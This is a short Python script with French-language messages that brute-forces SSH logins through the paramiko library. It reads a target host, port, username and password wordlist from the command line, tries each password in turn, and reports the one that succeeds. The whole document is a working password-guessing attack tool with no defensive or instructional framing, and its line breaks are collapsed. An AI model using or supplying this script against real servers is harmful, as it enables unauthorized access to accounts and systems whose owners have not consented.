import sys import paramiko import time def bruteforce(hostname, port, username, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname,port,username=username,password=password) except paramiko.ssh_exception.AuthenticationException: print("erreur : ",password) time.sleep(2) else: print("trouvé : ",password) return True finally: client.close() if __name__ == "__main__": hostname = sys.argv[1] port = sys.argv[2] username = sys.argv[3] dico = sys.argv[4] try: with open(dico, 'r') as wordlist: for ligne in wordlist.readlines(): password=ligne.strip() if bruteforce(hostname,port,username,password) is True: sys.exit() except IndexError: print(f"{sys.argv[0]} demande un hôte, un port, un username et une liste de passwords en arguments")